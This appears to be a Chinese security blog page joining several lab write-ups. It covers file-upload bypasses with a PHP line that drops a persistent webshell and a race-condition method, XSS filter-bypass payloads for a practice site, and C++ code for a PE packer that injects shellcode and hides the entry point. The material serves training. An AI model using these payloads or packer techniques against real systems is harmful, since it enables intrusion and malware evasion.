//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这道题很明显针对了图片马,在上传之后将图片进行重写,也就是二次渲染;

如何判断图片被二次渲染?当使用P15,P16的方法不起作用时,上传图片另存为下载下来查看是否木马语句还存在即可判断;

如何绕过?要知道,二次渲染只是将图片的原始内容保存,其他内容进行重写,那么要找到原始的内容,也就是没改写部分的内容,进行对木马的插入即可;找寻重写部分只需要使用010进行diff比较即可;

理论来说GIF更容易,而修改PNG文件不能直接插入;

P18

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

看起来和P12的源码很像,只不过PATH部分拼接由原来的GET传参变成了UPLOAD_PATH这么个东西,这说明没办法控制上传路径,就无法利用空字符截取了;

并且它是先move再in array,这和之前的顺序也有区别,这说明它是先将文件放到服务器的文件夹上,再去做后缀判断;

文件上传条件竞争

前提:文件先到服务器上,再做判断;

本质:抢夺线程的资源,使得上传的木马文件可以快速访问运行一次(上传之后,判断之前);

实际方式:一直上传,一直访问,在线程没反应过来的时候给与木马命令的执行;

总结:一个可执行php在目标文件夹一闪而逝即可利用;

但由于不可能只依靠这条一句话木马进行不可靠的信息传输,所以在需要这么访问的文件里,写入执行生成小马的语句,在它的上传文件目录中生成一个一直存在的一句话木马文件即可:

1
<?php fputs(fopen('shell.php','w'),'<?一句话木马?>' ); ?>

若有检测标识符,可以用base64编码绕过;

如何实现一直上传?一直访问?使用bp的测试器模块进行持续重放攻击,抓取上传php的包以及一直访问的包;

try

真是太裤辣!

P19

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

对于上传文件的代码审计:

先判断路径

再设置路径

再检查后缀以及文件大小

之后移动文件到服务器上

再进行随机重命名;

此时文件还没移动到服务器上就已经判断并删掉了,但是在白名单里面比之前多出来了一些压缩文件的后缀,不只是图片后缀了;

apache解析漏洞

对于apache服务器来说,访问一个服务器并不能解析的文件,它会对文件整体名字向前进行搜索,找到一个可以解析的后缀来执行;

例如一个文件叫做: file.php.7z ;

当用浏览器访问这个文件的时候,apache无法解析7z,就会把它当作一个php文件来执行;

而这道题虽然上传是在文件判断之后,但是7z后缀是可以上传上去的,只是之后会对其重命名,重命名变为xxx.7z,服务器不知道怎么解析,会用记事本打开;

赶在重命名之前对原文件进行访问,可以达到执行php的目的,实现针对于apache解析漏洞的条件竞争;

P20

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

又成黑名单绕过了;

可以自己取名文件名,判断用的是自己取的;

不多说了,大写就能绕过;

做个简单的总结吧;

黑名单绕过总结

黑名单一般考虑从后缀绕过下手,考虑特殊写法诸如php3一类的;

之后的一系列,.htaccess,.user.ini,::$DATA,正则匹配绕过;

白名单总结

这就要看条件了,如果能控制文件上传的路径,可以考虑空字符截断的后缀绕过;

如果能利用文件包含,可以考虑隐藏木马于可利用的文件上;

如果可执行文件在服务端能够一闪而逝,可以考虑使用条件竞争手段;

两类文件上传绕过都应该考虑对文件原始内容的检测,如检测关键字php,检测图片大小,二次渲染,做好正则绕过;

更多的,针对于以上这些漏洞,前提一定是php和apache的版本对应,版本不对,漏洞也就不复存在了;

P21

这道题按成一道审计题来做;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

逻辑:判断content-type,之后判断文件后缀,使用白名单机制,无法利用条件竞争和图片马,所以这道题绝对是后缀绕过;

只是这是白名单,如何实现后缀绕过呢?

它这里将file打散为数组,以点分割,即为前面的内容以及后缀名,这就是漏洞所利用的地方,正则绕过的一种;

运行过程:
try

可以发现,在file这段部分是利用的重点,因为最后一个png是无法改动的;

第一想法是利用空字符截断,那么要解决的就一个问题,如何在第一个元素中塞进.这个符号;

但尝试之后是不现实的;

另一个思路,end函数和count函数,它明明可以在拼接的地方就用end,为什么非要炫技写count-1索引呢?

因为学C这种强规则性的语言学傻了,php的数组它不需要是连贯的!

如令$file[0] = ‘name’, $file[7] = ‘gg’,count计算下来是2!!!

利用这个思路,让count-1去提取php就行了;

构造如下内容:

1
file.ggez..php.png

那么

$file[0] = ‘file’

$file[1] = ‘ggez’

$file[2] = null

$file[3] = ‘php’

$file[4] = ‘png’

end函数会提取png去比较,而count计算的时候只会计算出4,null不计入!

所以4-1=3,提取php进行最终的拼接,完成后缀绕过;

但对于有些php版本,还是会把$file[2]给计入count的计算,所以可以用bp抓包进行POST传递数组的方式:

post

总结一下吧,很多不同的漏洞呢,实际上都和php绕过有很大的关系,是相辅相成的;

代码审计的一个目的就是快速找到php代码中可以利用的部分,就如这道题的end和count一样,并没有很快的就发现这个利用点;

至此,文件上传漏洞及其labs结束;

阅读全文
Xss-labs-DOM

类型分类

  • 反射型:payload存在于恶意链接,没有存在于服务器内,被攻击者点击遭罪;
  • 存储型:payload被上传到服务器,出现在留言评论交互处,访问被注入了payload的页面就会被攻击;
  • DOM型:基于DOM文档对象的一种漏洞,DOM型并不会和后台进行交互,是前端的安全问题,防御也只能在客户端上进行;

LAB说明

使用靶场:

alert(1) (haozi.me)

所有类型都为DOM型xss

DOM型解题思路

  • 最终的目的都是构造 <script>alert(1)</script>;
  • 除了第一步写法也可以写在元素属性里,触发发生;
  • 先给参数判断回显,看是在哪个标签里;
  • 第一种思想:闭包标签;
  • 遇到正则匹配无法闭包分情况:
    • 遇到匹配符号,能用特殊写法绕就用特殊写法
    • 绕不过符号,尝试unicode编码绕过,双写绕过
    • 匹配一句话,尝试中断匹配,如加空格,回车
    • 匹配网址,可使用http协议@跳转

0X00

服务器代码:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

input是参数,利用url传入;

输入参数传入js函数返回给用户html,需要实现弹窗功能则输入为:

1
<script> alert(1) </script>

0X01

服务器代码:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

说明:textarea 是一个多行文本框,期间的内容都是它的内容,有一个思路和sql注入相似–闭包:

1
</textarea><script>alert(1)</script><textarea>

0X02

服务器代码:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

说明:input 是一个输入框,类型和输入内容分别是type及value;

同样是采用闭包,思想和sql注入相似:

1
"><script> alert(1) </script>

0X03

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

正则替换左右括号,可使用反引号写法绕过:

1
<script>alert`1`</script>

0X04

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

Unicode编码绕过: &#40; &#41;

只可以在标签属性内使用:src,onmouseover,value…

在这里使用onload,页面加载完后执行的动作;

这里说明,在””内的任何编码都会被解释为对应字符,即使””内有”的Unicode编码都会使其提前闭包!!!

1
<body onload="alert&#40;1&#41;"></body>

0X05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

注释绕过,但不能使用向后闭包的方式;

注释符还有一个写法: –!>

1
--!><script>alert(1)</script>

0X06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

输入框以及特殊符号绕过,匹配内容为以auto和on开头的某个属性后面跟着=或>;

正则里,.不匹配换行符,则可以如下写法:

1
2
onmouseover
="alert(1)"

onmouseover属性是当鼠标移动到元素上的时候触发;

0x07

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

正则匹配html标签,并且用article包裹

由于html的写法问题,不闭合>也能跑:

1
<body onload="alert(1)"

0X08

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

style是css标签,里面不能跑js脚本

可以不完整按着它的写法(加个空格)写后缀就行了:

其实也可以双写绕过</style>

1
</style > <script>alert(1)</script>

0X09

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

匹配了一个网址,没有大小写区分以及全局匹配;

依然采用闭包思想;

1
http://www.segmentfault.com "></script> <script>alert(1)</script> <!-- 

0x0A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

替换特殊字符,无法闭包;

http协议中有种写法为:
https://abcde@www.djdjdj.com
用来做身份验证,实际访问后面那个网址;

又这个lab提供了一个j.js的自带alert(1)的网页,所以可以这么写:

1
https://www.segmentfault.com@https://xss.haozi.me/j.js

注意艾特之后也得加上协议,如果前者用的是http,后者不能用https!!!

0x0B

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

使得全体字符大写,标签不受影响;

但是alert收到了影响;

这里是html不受大小写影响,js会,所以使用编码绕过:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

0X0C

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

在B的基础上过滤掉了script标签,无所谓还是上面的绕过方式:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

说明一下,如果用script标签的话,可以双写绕过,具体见SQLlabs;

0X0D

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

屏蔽了特殊符号;

回车加注释 –>

1
2
alert(1); 
-->

0X0E

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将字符开头的内容替换为_开头,解决了html标签的闭合;

有特殊写法绕过toUpperCase:
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

所以:

1
<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

在属性中编码仍然有效,也就是之前说的””内:

1
'); alert(1); //

0x10

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

一道非常简单只需要闭合就行的题:

1
2
123;
alert(1)

0x11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

这道题给我一种宽字节注入的既视感,将字符都进行转义为\;

实际上也是和0x0F一样的类型;

1
"); alert(1); //

0x12

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

不让用”但是可以双转义,用自己的斜杠去转义它的斜杠:

1
\"); alert(1);//
阅读全文
壳进阶

壳的原理

PE文件到运行时经过的几步重要步骤:

  • 将硬盘中的PE文件复制到内存中;
  • 按内存对齐值对齐;
  • 加载dll等模块;
  • 修复IAT,重定位表;
  • 进入OEP(Original Entry Point)开始执行

壳的原理则是修改OEP (可选PE头) 指向自身代码的地址,执行完后返回真正的OEP;

壳位于PE文件所处位置需要是可执行区段内,如.text;

计算OEP偏移地址用于jmp指令返回公式:

jmp E9 xxxxxxxx = OEP - 此指令下一指令地址

添加shellcode到PE

使用010editor:

  1. 添加一个空白区段在PE末尾 (1000h同时满足文件内存对齐);
  2. 添加一个区段头;
  3. 修正新加区段的属性(通过最后一个区段头开始以及大小计算新加区段的各属性);
  4. 修改 numberofsections (PE头);
  5. 修改 sizeofimage (可选PE头);
  6. 将shellcode粘贴于新区段处;
  7. 修改OEP于shellcode处;

如果遇到区段头无空余部分问题,可将PE头和区段头之间内容平移向上覆盖掉DOS存根,并且改掉 lfanew 偏移,之后可添加;

亦或者直接扩大最后一个区段,并修改属性;

或者合并区段:

  1. 读取PE文件模拟内存对齐对每个区段进行拉伸(防止其他区段合并后偏移错误);
  2. 只保留第一个区段头信息,其他填充0;
  3. 修改第一个区段头属性;
  4. 修改numberofsections;
  5. 将更改后的PE文件保存为新文件;

这样做会导致原文件扩大,但在内存中的大小不会改变,此时有足够的空间塞入壳代码;

加壳

为壳代码写入准备

如之前插入区段的方式与思路用代码操作PE,此时创建一个叫MyShell的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class MyShell
{
private:
char* fileBuff;
DWORD fileSize;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_FILE_HEADER pFileHeader;
PIMAGE_OPTIONAL_HEADER pOptionHeader;
PIMAGE_SECTION_HEADER pSectionHeader;

public:
MyShell();
~MyShell();
BOOL LoadFile(const char* path);
BOOL SaveFile(const char* path);
BOOL InitFileInfo();
BOOL InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics);
DWORD GetAlignSize(DWORD realSize, DWORD alignSize);
BOOL EncodeSections();
DWORD GetOep();
void SetOep(DWORD OEP);
};

第一步,读取文件并创建buffer保存PE镜像;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL MyShell::LoadFile(const char* path)
{
//打开文件
HANDLE hFile = CreateFileA(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//获取镜像
fileSize = GetFileSize(hFile, 0);
fileBuff = new char[fileSize] {};
if (ReadFile(hFile, fileBuff, fileSize, 0, 0) == FALSE)
{
MessageBoxA(0, "文件获取失败!", "异常", 0);
return FALSE;
}
InitFileInfo();
CloseHandle(hFile);

return TRUE;
}

第二步,解析PE(各个头);

1
2
3
4
5
6
7
8
9
10
11
//基于 fileBuff 镜像
BOOL MyShell::InitFileInfo()
{
pDosHeader = (PIMAGE_DOS_HEADER)fileBuff;
pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + fileBuff);
pFileHeader = &(pNtHeader->FileHeader);
pOptionHeader = &(pNtHeader->OptionalHeader);
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFileHeader->SizeOfOptionalHeader + (DWORD)pOptionHeader);

return TRUE;
}

第三步,插入区段和区段头,设置属性并修改PE某些字段;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
BOOL MyShell::InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics)
{
//判断节区头是否剩下两个头的空位
DWORD SectionCount = pFileHeader->NumberOfSections;
DWORD EndOfSectionHeader = (DWORD)pSectionHeader + SectionCount * IMAGE_SIZEOF_SECTION_HEADER;
DWORD BeginOfSection = (DWORD)fileBuff + pOptionHeader->SizeOfHeaders;
if (BeginOfSection - EndOfSectionHeader < IMAGE_SIZEOF_SECTION_HEADER * 2)
{
MessageBoxA(0, "插入失败,节区头大小不足!", "异常", 0);
return FALSE;
}
//获取新PE文件大小并建立新buff存放新PE
DWORD newFileSize = GetAlignSize(fileSize + codeSize, pOptionHeader->FileAlignment);
char* newFileBuff = new char[newFileSize] {};
memcpy_s(newFileBuff, newFileSize, fileBuff, fileSize);
fileSize = newFileSize;
delete[] fileBuff;
fileBuff = newFileBuff;
InitFileInfo();
//新增区段添加区段头并添加属性:名字,内存大小,文件大小,内存地址,文件偏移,权限
PIMAGE_SECTION_HEADER lastSectionHeader = pSectionHeader + (SectionCount - 1);
PIMAGE_SECTION_HEADER newSectionHeader = lastSectionHeader + 1;
strcpy_s((char *)newSectionHeader->Name, 8, sectionName);
newSectionHeader->Misc.VirtualSize = GetAlignSize(codeSize, pOptionHeader->SectionAlignment);
newSectionHeader->SizeOfRawData = GetAlignSize(codeSize, pOptionHeader->FileAlignment);
newSectionHeader->VirtualAddress = lastSectionHeader->VirtualAddress + GetAlignSize(lastSectionHeader->Misc.VirtualSize, pOptionHeader->SectionAlignment);
newSectionHeader->PointerToRawData = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
newSectionHeader->Characteristics = dwCharateristics;
newSectionHeader->PointerToLinenumbers = 0;
newSectionHeader->PointerToRelocations = 0;
newSectionHeader->NumberOfLinenumbers = 0;
newSectionHeader->NumberOfRelocations = 0;
//修改numberofsections以及sizeofimage
pFileHeader->NumberOfSections++;
pOptionHeader->SizeOfImage += GetAlignSize(codeSize, pOptionHeader->SectionAlignment);

//添加shellcode
char* sectionBuff = newSectionHeader->PointerToRawData + fileBuff;
memcpy(sectionBuff, codeBuff, codeSize);

return TRUE;
}

//内存对齐
DWORD MyShell::GetAlignSize(DWORD realSize, DWORD alignSize)
{
if (realSize % alignSize == 0)
return realSize;
return (realSize / alignSize + 1) * alignSize;
}

第四步,保存文件;

1
2
3
4
5
6
7
8
9
10
11
12
BOOL MyShell::SaveFile(const char* path)
{
HANDLE hFile = CreateFileA(path, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (WriteFile(hFile, fileBuff, fileSize, 0, 0) == FALSE)
{
MessageBoxA(0, "保存文件失败!", "异常", 0);
return FALSE;
}
CloseHandle(hFile);

return TRUE;
}

至此,用代码实现了之前用010手动粘贴shellcode之前的所有步骤;

对原程序编码加密

加壳难度逐级递进,此时先考虑对.text段的加密,因为.data段有IAT表等东西需要处理;

1
2
3
4
5
6
7
8
9
BOOL MyShell::EncodeSections()
{
int key = 0xBC;
char* pData = pSectionHeader->PointerToRawData + fileBuff;
for (int i = 0; i < pSectionHeader->SizeOfRawData; i++)
pData[i] ^= key;

return TRUE;
}

制作壳代码

之前写的壳代码是需要手动从ida里扣的,这里的壳代码写在dll文件里,使用link命令合并区段只剩代码段,此时第一节区便是需要的shellcode;

1
2
3
4
5
//代码段数据段合并
#pragma comment(linker,"/merge:.data=.text")
#pragma comment(linker,"/merge:.rdata=.text")
//设置属性
#pragma comment(linker,"/section:.text,RWE")

壳代码的特点:

  • 拥有解密功能;
  • 拥有保护功能;

难点:

  • 壳代码是后期写入文件里,系统无法修复壳代码的iat,需要动态调用API;
  • 壳代码如果有全局变量,会涉及到重定位,需要修复壳的重定位表;

其具体构造如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
_declspec(naked) void Code()
{
//保存寄存器环境
__asm pushad
//实现逻辑
GetAPI();
DecodeSections();
MyCode();
//恢复寄存器环境并跳入真正OEP
__asm popad
__asm jmp g_OepInfo.oldOEP;
}

原OEP以及新OEP的传递需要用到dll的结构体导出,以便exe和dll交换OEP信息,其结构体如下所示:

1
2
3
4
5
6
7
8
9
typedef struct _OEPINFO
{
DWORD newOEP;
DWORD oldOEP;
}OEPINFO, * POEPINFO;

extern "C" _declspec(dllexport) OEPINFO g_OepInfo;

OEPINFO g_OepInfo = { (DWORD)Code };

在之前的MyShell类里给出了OEP的set和get方法:

1
2
3
4
5
6
7
8
9
10
11
12
DWORD MyShell::GetOep()
{
return pOptionHeader->AddressOfEntryPoint + pOptionHeader->ImageBase;
}

//输入的OEP实际上为Code函数距离其节区开始的偏移
void MyShell::SetOep(DWORD OEP)
{
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
pOptionHeader->AddressOfEntryPoint = pLastSectionHeader->VirtualAddress + OEP;
}

动态调用API

首先是GetAPI的实现,如何动态获取API地址呢,在上一篇ShellCode中说明了需要利用PEB来获取kernel32的基址从而找到LoadLibrary以获取所有可使用的API;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//获取kernel32或者kernelbase
DWORD GetEssentialModule()
{
DWORD dwBase = 0;
__asm
{
mov eax, dword ptr fs : [0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x1c]
mov eax, [eax]
mov eax, [eax + 0x8]
mov dwBase, eax
}

return dwBase;
}

//根据导出表寻址函数
DWORD MyGetProcAddress(DWORD hModule, LPCSTR funcName)
{
//获取NT头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
//获取导出表
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress) + (DWORD)hModule);
//名称表,序号表,地址表
DWORD* nameTable = (DWORD*)(exportTable->AddressOfNames + (DWORD)hModule);
WORD* oridinalTable = (WORD*)(exportTable->AddressOfNameOrdinals + (DWORD)hModule);
DWORD* addressTable = (DWORD*)(exportTable->AddressOfFunctions + (DWORD)hModule);
//获取函数地址
for (int i = 0; i < exportTable->NumberOfNames; i++)
{
//获取函数名
char* name = (char*)(nameTable[i] + (DWORD)hModule);
if (!strcmp(name, funcName))
return addressTable[oridinalTable[i]] + (DWORD)hModule;
}

return 0;
}

//获取之后所要用到的API
void GetAPI()
{
DWORD kernelBase = GetEssentialModule();
//获取LoadlibraryEx
g_MyLoadLibraryExA = (MyLoadLibraryExA)MyGetProcAddress(kernelBase, "LoadLibraryExA");
//动态加载kernel32.dll
HMODULE kernel32Base = g_MyLoadLibraryExA("kernel32.dll", 0, 0);
g_MyGetProcAddress = (MYGetProcAddress)MyGetProcAddress((DWORD)kernel32Base, "GetProcAddress");
g_MyGetModuleHandleA = (MyGetModuleHandleA)g_MyGetProcAddress(kernel32Base, "GetModuleHandleA");
g_MyVirtualProtect = (MyVirtualProtect)g_MyGetProcAddress(kernel32Base, "VirtualProtect");
HMODULE user32Base = g_MyLoadLibraryExA("user32.dll", 0, 0);
g_MyMessageBoxA = (MyMessageBoxA)g_MyGetProcAddress(user32Base, "MessageBoxA");
}

对以上使用到的全局变量定义为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
typedef HMODULE (WINAPI * MyLoadLibraryExA)(
LPCSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);

MyLoadLibraryExA g_MyLoadLibraryExA = NULL;

typedef FARPROC (WINAPI * MYGetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);

MYGetProcAddress g_MyGetProcAddress = NULL;

typedef HMODULE (WINAPI * MyGetModuleHandleA)(
LPCSTR lpModuleName
);

MyGetModuleHandleA g_MyGetModuleHandleA = NULL;

typedef BOOL (WINAPI * MyVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

MyVirtualProtect g_MyVirtualProtect = NULL;

typedef int (WINAPI * MyMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

